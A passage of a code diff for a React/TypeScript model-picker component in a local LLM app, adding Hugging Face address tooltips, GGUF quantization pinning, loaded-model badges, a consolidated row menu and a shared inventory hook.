-  // never render "NaN undefined" or a negative unit index.
+  // Guard non-positive / non-finite sizes so we never render "NaN undefined".
   if (!Number.isFinite(bytes) || bytes <= 0) return "0 B";
-  // Decimal (base-1000) units to match what Hugging Face reports for a repo's
-  // file sizes -- e.g. 217 GB, not the 201.8 GiB a base-1024 divide would show.
-  // (GPU-fit math below stays base-1024 since VRAM is binary.)
-  // Divide iteratively rather than via Math.log, which has float error at exact
-  // powers of 1000 (log(1e12)/log(1000) = 3.9999... would mislabel 1 TB as
-  // "1000 GB"); the loop also can't run off the end of units.
+  // Decimal (base-1000) units to match Hugging Face's reported file sizes (GPU-fit
+  // math below stays base-1024 since VRAM is binary). Divide iteratively rather
+  // than via Math.log, which has float error at exact powers of 1000 (mislabeling
+  // 1 TB as "1000 GB") and could run off the end of units.
   const units = ["B", "KB", "MB", "GB", "TB"];
   let i = 0;
   let value = bytes;
@@ -384,15 +389,69 @@ function CapabilityIcons({ caps }: { caps: ModelCapabilities }) {
   );
 }
 
+function normalizeModelIdForPicker(modelId: string): string {
+  const trimmed = modelId.trim();
+  const slashPath = trimmed.replace(/\\/g, "/").replace(/\/+$/, "");
+  const caseInsensitive =
+    !/^(\/|\.{1,2}\/|~\/)/.test(slashPath) ||
+    /^[A-Za-z]:\//.test(slashPath) ||
+    slashPath.startsWith("//") ||
+    /^\/mnt\/[A-Za-z](?:\/|$)/.test(slashPath);
+  return caseInsensitive ? slashPath.toLowerCase() : slashPath;
+}
+
+function modelIdsMatchForPicker(
+  left: string | null | undefined,
+  right: string | null | undefined,
+): boolean {
+  return Boolean(
+    left &&
+      right &&
+      normalizeModelIdForPicker(left) === normalizeModelIdForPicker(right),
+  );
+}
+
+function normalizeGgufVariantForPicker(variant: string | null | undefined) {
+  return variant?.trim().toLowerCase() ?? "";
+}
+
+function ggufVariantsMatchForPicker(
+  left: string | null | undefined,
+  right: string | null | undefined,
+): boolean {
+  return (
+    normalizeGgufVariantForPicker(left) === normalizeGgufVariantForPicker(right)
+  );
+}
+
+function isRuntimeLoadedModel(
+  loadedModelId: string | undefined,
+  activeGgufVariant: string | null | undefined,
+  modelId: string,
+  variantPolicy: "none" | "required" | "ignore",
+): boolean {
+  if (!modelIdsMatchForPicker(loadedModelId, modelId)) return false;
+  if (variantPolicy === "ignore") return true;
+  const hasActiveGgufVariant = !ggufVariantsMatchForPicker(
+    activeGgufVariant,
+    null,
+  );
+  return variantPolicy === "required"
+    ? hasActiveGgufVariant
+    : !hasActiveGgufVariant;
+}
+
 function ModelRow({
   label,
   meta,
   selected,
+  loaded = false,
   onClick,
   vramStatus,
   vramEst,
   gpuGb,
   tooltipText,
+  hubUrl,
   optionProps,
   onArrowDownIntoChildren,
   capabilities,
@@ -404,11 +463,17 @@ function ModelRow({
   label: string;
   meta?: string | null;
   selected?: boolean;
+  /** Override badge state when authoritative runtime state is available. */
+  loaded?: boolean;
   onClick: () => void;
   vramStatus?: VramFitStatus | null;
   vramEst?: number;
   gpuGb?: number;
   tooltipText?: ReactNode;
+  /** Hugging Face address (e.g. "huggingface.co/owner/name") for online/Hub
+   * rows; surfaced on hover so their repo id / URL is discoverable the same
+   * way local rows show an on-disk path. Omit to show no address line. */
+  hubUrl?: string;
   optionProps?: ModelRowOptionProps;
   onArrowDownIntoChildren?: () => boolean;
   /** Capability override (HF rows have tags); falls back to name detection. */
@@ -454,14 +519,14 @@ function ModelRow({
       }}
       onClick={onClick}
       className={cn(
-        "flex w-full items-center gap-2 rounded-full px-2 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
+        "flex w-full items-center gap-2 rounded-full px-2 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
         selected && "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
         className,
       )}
     >
       <span className="flex min-w-0 flex-1 items-baseline">
         {owner && !hideOwner ? (
-          <span className="inline-flex min-w-0 max-w-[45%] shrink items-baseline text-[13px] text-muted-foreground/90">
+          <span className="inline-flex min-w-0 max-w-[45%] shrink items-baseline text-ui-13 text-muted-foreground/90">
             <span className="truncate">{owner}</span>
             <span className="shrink-0 text-muted-foreground/45">/</span>
           </span>
@@ -489,7 +554,7 @@ function ModelRow({
             </TooltipContent>
           </Tooltip>
         )}
-        {selected && (
+        {loaded && (
           <DotTag
             tone="success"
             label="Loaded"
@@ -497,7 +562,7 @@ function ModelRow({
             dotClassName="size-[5px]"
           />
         )}
-        {downloaded && !selected && (
+        {downloaded && !loaded && (
           <span
             title="Already downloaded"
             aria-label="Already downloaded"
@@ -511,25 +576,25 @@ function ModelRow({
           </span>
         )}
         {vramStatus === "exceeds" && (
-          <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-300 dark:!bg-red-500/15 px-1.5 py-0.5 rounded">
+          <span className="text-ui-9 font-medium !text-red-700 !bg-red-50 dark:!text-red-300 dark:!bg-red-500/15 px-1.5 py-0.5 rounded">
             OOM
           </span>
         )}
         {vramStatus === "tight" && (
-          <span className="text-[9px] font-medium !text-amber-400">TIGHT</span>
+          <span className="text-ui-9 font-medium !text-amber-400">TIGHT</span>
         )}
         {paramLabel ? (
-          <span className="rounded-md border border-border/60 px-1.5 py-px text-[10px] font-medium text-muted-foreground tabular-nums">
+          <span className="rounded-md border border-border/60 px-1.5 py-px text-ui-10 font-medium text-muted-foreground tabular-nums">
             {paramLabel}
           </span>
         ) : null}
         {parsed.texts.map((text) => (
-          <span key={text} className="text-[10px] text-muted-foreground">
+          <span key={text} className="text-ui-10 text-muted-foreground">
             {text}
           </span>
         ))}
         {parsed.size !== undefined ? (
-          <span className="text-[10px] text-muted-foreground tabular-nums">
+          <span className="text-ui-10 text-muted-foreground tabular-nums">
             {parsed.size}
           </span>
         ) : null}
@@ -546,30 +611,41 @@ function ModelRow({
     </button>
   );
 
-  if (vramTooltipText) {
-    return (
-      <Tooltip>
-        <TooltipTrigger asChild={true}>{content}</TooltipTrigger>
-        <TooltipContent
-          side="left"
-          className="tooltip-compact max-w-xs break-all"
-        >
-          {label}
-          <span className="block text-[10px] mt-1">{vramTooltipText}</span>
-        </TooltipContent>
-      </Tooltip>
-    );
-  }
+  // Optional Hugging Face address line for online/Hub rows, rendered under
+  // whichever tooltip shows so the repo id / URL is always visible on hover.
+  const hubUrlLine = hubUrl ? (
+    <span className="block mt-1 text-ui-10 text-muted-foreground break-all">
+      {hubUrl}
+    </span>
+  ) : null;
 
-  if (tooltipText) {
+  const tooltipBody = vramTooltipText ? (
+    <>
+      {label}
+      <span className="block text-ui-10 mt-1">{vramTooltipText}</span>
+      {hubUrlLine}
+    </>
+  ) : tooltipText ? (
+    <>
+      {tooltipText}
+      {hubUrlLine}
+    </>
+  ) : hubUrl ? (
+    <>
+      <span className="block break-words">{label}</span>
+      {hubUrlLine}
+    </>
+  ) : null;
+
+  if (tooltipBody) {
     return (
-      <Tooltip>
+      <Tooltip delayDuration={700}>
         <TooltipTrigger asChild={true}>{content}</TooltipTrigger>
         <TooltipContent
           side="left"
           className="tooltip-compact max-w-xs break-all"
         >
-          {tooltipText}
+          {tooltipBody}
         </TooltipContent>
       </Tooltip>
     );
@@ -595,12 +671,17 @@ function isValidGgufVariant(variant: unknown): variant is GgufVariantDetail {
   );
 }
 
-function normalizeGgufVariantsResponse(res: {
-  variants?: unknown;
-  default_variant?: unknown;
-  has_vision?: unknown;
-  context_length?: unknown;
-} | null | undefined): {
+function normalizeGgufVariantsResponse(
+  res:
+    | {
+        variants?: unknown;
+        default_variant?: unknown;
+        has_vision?: unknown;
+        context_length?: unknown;
+      }
+    | null
+    | undefined,
+): {
   variants: GgufVariantDetail[];
   defaultVariant: string | null;
   hasVision: boolean;
@@ -643,9 +724,11 @@ function GgufVariantExpander({
   parentOptionKey,
   onNavigatePastStart,
   onNavigatePastEnd,
+  onConfigure,
   sourceOverride,
   variantActions,
   onDevice = false,
+  allowPin = false,
   onHasVision,
 }: {
   repoId: string;
@@ -658,6 +741,7 @@ function GgufVariantExpander({
   parentOptionKey?: string;
   onNavigatePastStart?: () => void;
   onNavigatePastEnd?: () => void;
+  onConfigure?: (id: string, meta: ModelSelectorChangeMeta) => void;
   sourceOverride?: ModelSelectorChangeMeta["source"];
   /** Update/delete actions for cached variant rows. Omitted by browse-only
    *  expanders (Recommended, etc.) that don't manage on-disk variants. */
@@ -676,17 +760,27 @@ function GgufVariantExpander({
   /** On Device rows honor the Show all quantizations setting; Recommended and
    *  other browse lists always show every quant. */
   onDevice?: boolean;
+  /** Only managed cached-Hub rows can surface quant pins in the Pinned
+   *  section. Local-path expanders deliberately leave this false. */
+  allowPin?: boolean;
   /** Report GGUF vision support up so the parent row can badge it. */
   onHasVision?: (hasVision: boolean) => void;
 }) {
+  const pinnedKeys = usePinnedModelsStore((s) => s.pinned);
+  const togglePinnedQuant = usePinnedModelsStore((s) => s.togglePinned);
   const onUpdateVariant = variantActions?.onUpdate;
-  const updateVariantTitle = variantActions?.updateTitle ?? "Update cached model?";
-  const renderUpdateVariantDescription = variantActions?.renderUpdateDescription;
+  const updateVariantTitle =
+    variantActions?.updateTitle ?? "Update cached model?";
+  const renderUpdateVariantDescription =
+    variantActions?.renderUpdateDescription;
   const updateDisabled = variantActions?.updateDisabled ?? false;
   const onDeleteVariant = variantActions?.onDelete;
-  const deleteVariantTitle = variantActions?.deleteTitle ?? "Delete cached model?";
-  const renderDeleteVariantDescription = variantActions?.renderDeleteDescription;
-  const getDeleteVariantSuccessMessage = variantActions?.getDeleteSuccessMessage;
+  const deleteVariantTitle =
+    variantActions?.deleteTitle ?? "Delete cached model?";
+  const renderDeleteVariantDescription =
+    variantActions?.renderDeleteDescription;
+  const getDeleteVariantSuccessMessage =
+    variantActions?.getDeleteSuccessMessage;
   const deleteDisabled = variantActions?.deleteDisabled ?? false;
   const [variants, setVariants] = useState<GgufVariantDetail[] | null>(null);
   const [defaultVariant, setDefaultVariant] = useState<string | null>(null);
@@ -699,8 +793,11 @@ function GgufVariantExpander({
 
   useEffect(() => {
     let canceled = false;
-    setLoading(true);
-    setError(null);
+    queueMicrotask(() => {
+      if (canceled) return;
+      setLoading(true);
+      setError(null);
+    });
 
     listGgufVariants(repoId, hfToken)
       .then((res) => {
@@ -728,17 +825,12 @@ function GgufVariantExpander({
   }, [repoId, refreshKey, hfToken]);
 
   // Covers Unix absolute (/), Windows drive (C:\, D:/), UNC (\\server), relative (./, ../), tilde (~/)
-  const isLocalPath = /^(\/|\.{1,2}[\\\/]|~[\\\/]|[A-Za-z]:[\\\/]|\\\\)/.test(
+  const isLocalPath = /^(\/|\.{1,2}[\\/]|~[\\/]|[A-Za-z]:[\\/]|\\\\)/.test(
     repoId,
   );
 
   const handleVariantClick = useCallback(
     (quant: string, downloaded?: boolean, sizeBytes?: number) => {
-      // Only seed the staged context for picks whose weights are already on
-      // disk. The staging effect short-circuits on a known contextLength
-      // (pendingHasContext) before starting the download, so attaching it to an
-      // undownloaded quant from a partially cached repo would skip the download
-      // entirely (and, with Load on selection, never load).
       const isAvailable = isLocalPath || downloaded === true;
       onSelect(repoId, {
         source: sourceOverride ?? (isLocalPath ? "local" : "hub"),
@@ -747,6 +839,7 @@ function GgufVariantExpander({
         isDownloaded: isLocalPath ? true : downloaded,
         expectedBytes: sizeBytes,
         contextLength: isAvailable ? nativeContext : undefined,
+        isGguf: true,
       });
     },
     [repoId, isLocalPath, onSelect, sourceOverride, nativeContext],
@@ -761,13 +854,12 @@ function GgufVariantExpander({
 
   const getGgufFit = useCallback(
     (sizeBytes: number): "fits" | "tight" | "oom" => {
-      // No device budget at all (no GPU and no known system RAM): can't
-      // classify, so don't scare the user with OOM badges.
+      // No device budget at all: can't classify, so don't show OOM badges.
       if (totalBudgetGb <= 0) return "fits";
       const gb = sizeBytes / 1024 ** 3;
       if (gb <= 0 || gb <= gpuBudgetGb) return "fits";
-      // No-GPU / unified-memory hosts (Mac) have only the RAM budget, so the
-      // tier collapses to fit-or-oom against system RAM rather than GPU+offload.
+      // No-GPU / unified-memory hosts (Mac) have only the RAM budget, so the tier
+      // collapses to fit-or-oom against system RAM.
       if (gpuBudgetGb <= 0) return gb <= totalBudgetGb ? "fits" : "oom";
       if (gb <= totalBudgetGb) return "tight";
       return "oom";
@@ -785,17 +877,13 @@ function GgufVariantExpander({
     if (defaultV && getGgufFit(defaultV.size_bytes) !== "oom")
       return defaultVariant;
     // Largest non-OOM variant (best quality that fits)
-    const fitting = variants.filter(
-      (v) => getGgufFit(v.size_bytes) !== "oom",
-    );
+    const fitting = variants.filter((v) => getGgufFit(v.size_bytes) !== "oom");
     if (fitting.length > 0) {
       fitting.sort((a, b) => b.size_bytes - a.size_bytes);
       return fitting[0].quant;
     }
     // All OOM -- recommend smallest (most likely to partially run)
-    const sorted = [...variants].sort(
-      (a, b) => a.size_bytes - b.size_bytes,
-    );
+    const sorted = [...variants].sort((a, b) => a.size_bytes - b.size_bytes);
     return sorted[0]?.quant ?? defaultVariant;
   }, [variants, defaultVariant, totalBudgetGb, getGgufFit]);
 
@@ -888,11 +976,11 @@ function GgufVariantExpander({
           redundant; its Vision badge is relayed to the name instead. */}
       {!onDevice && (
         <div className="px-2 py-1 flex items-center gap-1.5">
-          <span className="text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+          <span className="text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground">
             Quantizations
           </span>
           {hasVision && (
-            <span className="flex items-center gap-0.5 text-[9px] font-medium text-indigo-700 dark:text-indigo-300">
+            <span className="flex items-center gap-0.5 text-ui-9 font-medium text-indigo-700 dark:text-indigo-300">
               <HugeiconsIcon
                 icon={ViewIcon}
                 className="size-3"
@@ -911,7 +999,7 @@ function GgufVariantExpander({
         const keyBase = `${repoId}:${v.filename}`;
         const variantOptionKey = makeModelOptionKey("gguf-variant", keyBase);
         return (
-          <div key={v.filename} className="flex items-center gap-0.5">
+          <div key={v.filename} className="flex items-center">
             <button
               type="button"
               {...variantList.getOptionProps(variantOptionKey, false)}
@@ -919,7 +1007,7 @@ function GgufVariantExpander({
                 handleVariantClick(v.quant, v.downloaded, expectedBytes)
               }
               className={cn(
-                "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full px-2 py-1 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring/45 dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
+                "flex min-w-0 flex-1 items-center justify-between gap-2 rounded-full py-1 pl-2 pr-1.5 text-left text-sm transition-colors hover:bg-[#ececec] focus-visible:bg-[#ececec] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring dark:hover:bg-[var(--sidebar-accent)] dark:focus-visible:bg-[var(--sidebar-accent)]",
               )}
             >
               <span className="min-w-0 flex-1 truncate font-mono text-xs">
@@ -930,93 +1018,135 @@ function GgufVariantExpander({
                 </span>
                 {v.downloaded ? (
                   <>
-                    <span className="ml-1.5 text-[9px] font-sans font-medium text-green-400">
+                    <span className="ml-1.5 text-ui-9 font-sans font-medium text-green-600/90 dark:text-green-400/80">
                       downloaded
                     </span>
                     {v.update_available ? (
-                      <span className="ml-1.5 text-[9px] font-sans font-medium text-amber-700 dark:text-amber-300">
+                      <span className="ml-1.5 text-ui-9 font-sans font-medium text-amber-700 dark:text-amber-300">
                         update available
                       </span>
-                    ): null}
+                    ) : null}
                   </>
                 ) : v.quant === effectiveRecommended ? (
-                  <span className="ml-1.5 text-[9px] font-sans font-medium text-primary/70">
+                  <span className="ml-1.5 text-ui-9 font-sans font-medium text-primary/70">
                     recommended
                   </span>
                 ) : null}
               </span>
               <span className="flex items-center gap-1.5 shrink-0">
                 {oom && (
-                  <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-300 dark:!bg-red-500/15 px-1.5 py-0.5 rounded">
+                  <span className="text-ui-9 font-medium !text-red-700 !bg-red-50 dark:!text-red-300 dark:!bg-red-500/15 px-1.5 py-0.5 rounded">
                     OOM
                   </span>
                 )}
                 {tight && (
-                  <span className="text-[9px] font-medium !text-amber-400">
+                  <span className="text-ui-9 font-medium !text-amber-400">
                     TIGHT
                   </span>
                 )}
-                <span className="text-[10px] text-muted-foreground">
+                <span className="text-ui-10 text-muted-foreground">
                   {formatBytes(v.size_bytes)}
                 </span>
               </span>
             </button>
-            {v.downloaded && v.update_available && onUpdateVariant && (
-              <ModelUpdateAction
-                ariaLabel={`Update ${repoId} ${v.quant}`}
-                title={updateVariantTitle}
-                description={
-                  renderUpdateVariantDescription?.(v.quant) ?? (
-                    <>
-                      This will update{" "}
-                      <span className="font-medium text-foreground">
-                        {repoId} ({v.quant})
-                      </span>{"."}
-                    </>
-                  )
-                }
-                repoId={repoId}
-                variant={v.quant}
-                buttonClassName="p-1"
-                iconClassName="size-3"
-                disabled={updateDisabled}
-                onConfirm={() => onUpdateVariant(v.quant, expectedBytes)}
-                onUpdated={() => setRefreshKey((key) => key + 1)}
-              />
-            )}
-            {v.downloaded && (
+            {v.downloaded && onConfigure && (
               <ModelLoadSettingsAction
                 ariaLabel={`Inference settings for ${repoId} ${v.quant}`}
-                repoId={repoId}
-                quant={v.quant}
-                maxContext={nativeContext}
-              />
-            )}
-            {v.downloaded && onDeleteVariant && (
-              <ModelDeleteAction
-                ariaLabel={`Delete ${repoId} ${v.quant}`}
-                title={deleteVariantTitle}
-                description={
-                  renderDeleteVariantDescription?.(v.quant) ?? (
-                    <>
-                      This will remove{" "}
-                      <span className="font-medium text-foreground">
-                        {repoId} ({v.quant})
-                      </span>{" "}
-                      from disk. You can re-download it later.
-                    </>
-                  )
-                }
-                successMessage={
-                  getDeleteVariantSuccessMessage?.(v.quant) ??
-                  `Deleted ${repoId} ${v.quant}`
-                }
-                buttonClassName="p-1"
-                iconClassName="size-3"
-                disabled={deleteDisabled}
-                onConfirm={() => onDeleteVariant(v.quant)}
+                className="relative left-0.5"
+                onConfigure={() =>
+                  onConfigure(repoId, {
+                    source: sourceOverride ?? (isLocalPath ? "local" : "hub"),
+                    isLora: false,
+                    ggufVariant: v.quant,
+                    isDownloaded: true,
+                    expectedBytes,
+                    contextLength: nativeContext,
+                    isGguf: true,
+                  })
+                }
               />
             )}
+            {v.downloaded &&
+              (allowPin ||
+                (v.update_available && onUpdateVariant) ||
+                onDeleteVariant ||
+                !isLocalPath) && (
+                <ModelRowMenu
+                  ariaLabel={`More options for ${repoId} ${v.quant}`}
+                  iconClassName="size-3"
+                  cachePath={
+                    isLocalPath ? undefined : { repoId, variant: v.quant }
+                  }
+                  pin={
+                    allowPin
+                      ? {
+                          pinned: pinnedKeys.includes(pinKey(repoId, v.quant)),
+                          pinLabel: "Pin to top",
+                          unpinLabel: "Unpin",
+                          onToggle: () => togglePinnedQuant(repoId, v.quant),
+                        }
+                      : undefined
+                  }
+                  update={
+                    v.update_available && onUpdateVariant
+                      ? {
+                          title: updateVariantTitle,
+                          description: renderUpdateVariantDescription?.(
+                            v.quant,
+                          ) ?? (
+                            <>
+                              This will update{" "}
+                              <span className="font-medium text-foreground">
+                                {repoId} ({v.quant})
+                              </span>
+                              {"."}
+                            </>
+                          ),
+                          repoId,
+                          variant: v.quant,
+                          disabled: updateDisabled,
+                          onConfirm: () =>
+                            onUpdateVariant(v.quant, expectedBytes),
+                          onUpdated: () => setRefreshKey((key) => key + 1),
+                        }
+                      : undefined
+                  }
+                  del={
+                    onDeleteVariant
+                      ? {
+                          title: deleteVariantTitle,
+                          description: renderDeleteVariantDescription?.(
+                            v.quant,
+                          ) ?? (
+                            <>
+                              This will remove{" "}
+                              <span className="font-medium text-foreground">
+                                {repoId} ({v.quant})
+                              </span>{" "}
+                              from disk. You can re-download it later.
+                            </>
+                          ),
+                          successMessage:
+                            getDeleteVariantSuccessMessage?.(v.quant) ??
+                            `Deleted ${repoId} ${v.quant}`,
+                          disabled: deleteDisabled,
+                          onConfirm: async () => {
+                            await onDeleteVariant(v.quant);
+                            // Drop the pin too: a pinned row for a deleted file
+                            // would try to load something that no longer exists.
+                            if (pinnedKeys.includes(pinKey(repoId, v.quant))) {
+                              togglePinnedQuant(repoId, v.quant);
+                            }
+                            // Re-fetch this expander's variants so the deleted
+                            // quant stops showing as downloaded (and clickable to
+                            // reload) while the repo still has other cached quants.
+                            setRefreshKey((key) => key + 1);
+                          },
+                        }
+                      : undefined
+                  }
+                />
+              )}
           </div>
         );
       })}
@@ -1186,19 +1316,37 @@ function localPathTooltip(name: string, path: string): ReactNode {
   return (
     <>
       <span className="block break-words">{name}</span>
-      <span className="block mt-1 text-[10px] text-muted-foreground break-all">
+      <span className="block mt-1 text-ui-10 text-muted-foreground break-all">
         {path}
       </span>
     </>
   );
 }
 
+function localModelMeta(isGguf = false): ModelSelectorChangeMeta {
+  return {
+    source: "local",
+    isLora: false,
+    isDownloaded: true,
+    ...(isGguf ? { isGguf: true } : {}),
+  };
+}
+
+function localDirectGgufMeta(): ModelSelectorChangeMeta {
+  return localModelMeta(true);
+}
+
+/** Hugging Face address for an online/Hub row, or undefined when the repo id is
+ * missing so the row shows no (empty) address line on hover. */
+function hubRepoUrl(id: string | null | undefined): string | undefined {
+  const trimmed = id?.trim();
+  return trimmed ? `huggingface.co/${trimmed}` : undefined;
+}
+
 /** Whether a local model is an MLX build (name hint). MLX runs on Mac only, so
  * callers gate visibility on the host being a Mac. */
 function localModelIsMlx(m: LocalModelInfo): boolean {
-  return (
-    isMlxId(m.id) || isMlxId(m.display_name) || isMlxId(m.model_id ?? "")
-  );
+  return isMlxId(m.id) || isMlxId(m.display_name) || isMlxId(m.model_id ?? "");
 }
 
 /** Whether a local model matches the format toggle (GGUF detected by name/path). */
@@ -1222,6 +1370,7 @@ export function HubModelPicker({
   onFoldersChange,
   onBrowseHub,
   onModelsChange,
+  onConfigure,
   deleteDisabled = false,
   section = "downloaded",
   sectionToggle,
@@ -1238,21 +1387,20 @@ export function HubModelPicker({
   /** Open the full Hub page to browse more models. */
   onBrowseHub?: () => void;
   onModelsChange?: (deletedModel?: DeletedModelRef) => void;
+  onConfigure?: (id: string, meta: ModelSelectorChangeMeta) => void;
   deleteDisabled?: boolean;
   /** Section shown when not searching. Search spans all sections. */
   section?: "downloaded" | "recommended" | "custom" | "connected";
   /** Section toggle rendered under the search bar. */
   sectionToggle?: ReactNode;
-  /** Eject the loaded model. Rendered as the last list row when set. */
   onEject?: () => void;
 }) {
   const gpu = useGpuInfo();
-  // The currently-loaded/running model id. We read params.checkpoint from the
-  // runtime store (backend-mirrored from /api/inference/status.active_model, see
-  // chat-runtime-store) rather than the dropdown `isSelected` highlight (which is
-  // just `value === repo_id` and can reflect a staged, not-yet-loaded pick). Used
-  // to disable the cached-row update action for the model that's live in memory.
+  // Live model id from the runtime store (backend-mirrored active_model), not the dropdown
+  // highlight which can be a staged pick. Disables the update action for it.
   const loadedModelId = useChatRuntimeStore((s) => s.params.checkpoint);
+  // Loaded GGUF quant of the active model; marks the matching pinned row.
+  const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
   // Last-loaded timestamps power the "Recent" sort (vs "Downloaded" = file date).
   const loadTimes = useModelLoadTimes(value);
   // Fade the list's top edge once scrolled, and its bottom edge while more
@@ -1265,7 +1413,8 @@ export function HubModelPicker({
   // Shared Hub search stack (the same hooks the Hub page uses) so the picker
   // and Hub run one implementation. Scoped to unsloth like the old listing.
   const online = useOnlineStatus();
-  const accessToken = hfToken || undefined;
+  // Sanitize to anonymous on a malformed token, matching the Hub page.
+  const accessToken = hfApiToken(hfToken);
   // Recommended section: a live unsloth listing sorted by the dropdown. The
   // same sort drives the search results so the dropdown works while searching.
   const [recommendedSort, setRecommendedSort] =
@@ -1287,9 +1436,8 @@ export function HubModelPicker({
     pinUnslothFirst: true,
     keepUnsupportedTags: true,
     accessToken,
-    // Only the Recommended section renders Hub results (On Device / Connected
-    // use local data), so keep the Hub hooks idle on the other tabs to avoid
-    // needless requests/spinner and to preserve offline-local behavior.
+    // Only Recommended renders Hub results, so keep the Hub hooks idle on other
+    // tabs to avoid needless requests and preserve offline-local behavior.
     enabled: online && section === "recommended",
   });
   const recommendedSearch = useHubModelSearch("", {
@@ -1302,10 +1450,9 @@ export function HubModelPicker({
     enabled: online && section === "recommended",
   });
 
-  // Lowercased repo ids confirmed GGUF by the store or HF search.
-  // Absence means "no hint" -> hasGgufSuffix is the fallback (don't
-  // conflate unknown with known-not-GGUF). Lowercased so store and HF
-  // IDs differing only by casing match the same hint.
+  // Lowercased repo ids confirmed GGUF by the store or HF search. Absence means
+  // "no hint" -> hasGgufSuffix is the fallback (don't conflate unknown with
+  // known-not-GGUF). Lowercased so store and HF IDs match regardless of casing.
   const modelGgufIds = useMemo(() => {
     const ids = new Set<string>();
     for (const model of models) {
@@ -1347,12 +1494,14 @@ export function HubModelPicker({
   const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly);
   // Repos the user clicked to collapse while expand-by-default is on. Kept in
   // memory only, so it resets on reload (and when the setting is toggled).
-  const [collapsedGguf, setCollapsedGguf] = useState<Set<string>>(
-    () => new Set(),
-  );
-  useEffect(() => {
-    setCollapsedGguf(new Set());
-  }, [expandQuantizations]);
+  const [collapsedGgufState, setCollapsedGgufState] = useState<{
+    expandQuantizations: boolean;
+    value: Set<string>;
+  }>(() => ({ expandQuantizations, value: new Set() }));
+  const collapsedGguf =
+    collapsedGgufState.expandQuantizations === expandQuantizations
+      ? collapsedGgufState.value
+      : new Set<string>();
   const isGgufExpanded = useCallback(
     (id: string) =>
       expandQuantizations ? !collapsedGguf.has(id) : expandedGguf === id,
@@ -1363,11 +1512,15 @@ export function HubModelPicker({
   const toggleGgufExpanded = useCallback(
     (id: string) => {
       if (expandQuantizations) {
-        setCollapsedGguf((prev) => {
-          const next = new Set(prev);
+        setCollapsedGgufState((prev) => {
+          const current =
+            prev.expandQuantizations === expandQuantizations
+              ? prev.value
+              : new Set<string>();
+          const next = new Set(current);
           if (next.has(id)) next.delete(id);
           else next.add(id);
-          return next;
+          return { expandQuantizations, value: next };
         });
       } else {
         setExpandedGguf((prev) => (prev === id ? null : id));
@@ -1376,6 +1529,7 @@ export function HubModelPicker({
     [expandQuantizations],
   );
 
+  const [pinnedCollapsed, setPinnedCollapsed] = useState(false);
   const [downloadedCollapsed, setDownloadedCollapsed] = useState(false);
   const [otherModelsCollapsed, setOtherModelsCollapsed] = useState(false);
   const [customFoldersCollapsed, setCustomFoldersCollapsed] = useState(false);
@@ -1427,15 +1581,37 @@ export function HubModelPicker({
     });
   }, []);
 
-  // Cached (downloaded) repos -- module-level cache avoids flashing an
-  // empty "Downloaded" section when the popover re-mounts.
-  const [cachedGguf, setCachedGguf] =
-    useState<CachedGgufRepo[]>(_cachedGgufCache);
-  const [cachedModels, setCachedModels] =
-    useState<CachedModelRepo[]>(_cachedModelsCache);
-  const alreadyCached =
-    _cachedGgufCache.length > 0 || _cachedModelsCache.length > 0;
-  const [cachedReady, setCachedReady] = useState(alreadyCached);
+  const pickerInventory = useChatPickerInventory({ enabled: true });
+  const { cachedGguf, cachedModels, cachedReady, refreshInventory } =
+    pickerInventory;
+  const lmStudioModels = useMemo(
+    () =>
+      sortLmStudio(
+        pickerInventory.localModels.filter((m) => m.source === "lmstudio"),
+      ),
+    [pickerInventory.localModels],
+  );
+  const localDirModels = useMemo(
+    () => pickerInventory.localModels.filter((m) => m.source === "models_dir"),
+    [pickerInventory.localModels],
+  );
+  const customFolderModels = useMemo(
+    () => pickerInventory.localModels.filter((m) => m.source === "custom"),
+    [pickerInventory.localModels],
+  );
+  useEffect(() => {
+    _cachedGgufCache = cachedGguf;
+    _cachedModelsCache = cachedModels;
+    _lmStudioCache = lmStudioModels;
+    _localDirCache = localDirModels;
+    _customFolderCache = customFolderModels;
+  }, [
+    cachedGguf,
+    cachedModels,
+    lmStudioModels,
+    localDirModels,
+    customFolderModels,
+  ]);
   const [updateConflictKey, setUpdateConflictKey] = useState<string | null>(
     null,
   );
@@ -1459,16 +1635,6 @@ export function HubModelPicker({
     setUpdateConflictKey(null);
   }, [updateConflictKey]);
 
-  // LM Studio local models -- module-level cache, same pattern as above.
-  const [lmStudioModels, setLmStudioModels] =
-    useState<LocalModelInfo[]>(_lmStudioCache);
-  // Models found under the local models directory (./models), so they stay
-  // selectable on the On Device tab after leaving the Fine-tuned tab.
-  const [localDirModels, setLocalDirModels] =
-    useState<LocalModelInfo[]>(_localDirCache);
-  const [customFolderModels, setCustomFolderModels] =
-    useState<LocalModelInfo[]>(_customFolderCache);
-
   // Custom scan folders management
   const [scanFolders, setScanFolders] =
     useState<ScanFolderInfo[]>(_scanFoldersCache);
@@ -1480,22 +1646,8 @@ export function HubModelPicker({
   const [recommendedFolders, setRecommendedFolders] = useState<string[]>([]);
 
   const refreshLocalModelsList = useCallback(() => {
-    listLocalModels()
-      .then((res) => {
-        const lm = sortLmStudio(
-          res.models.filter((m) => m.source === "lmstudio"),
-        );
-        _lmStudioCache = lm;
-        setLmStudioModels(lm);
-        const ld = res.models.filter((m) => m.source === "models_dir");
-        _localDirCache = ld;
-        setLocalDirModels(ld);
-        const cf = res.models.filter((m) => m.source === "custom");
-        _customFolderCache = cf;
-        setCustomFolderModels(cf);
-      })
-      .catch(() => {});
-  }, []);
+    void pickerInventory.refreshInventory();
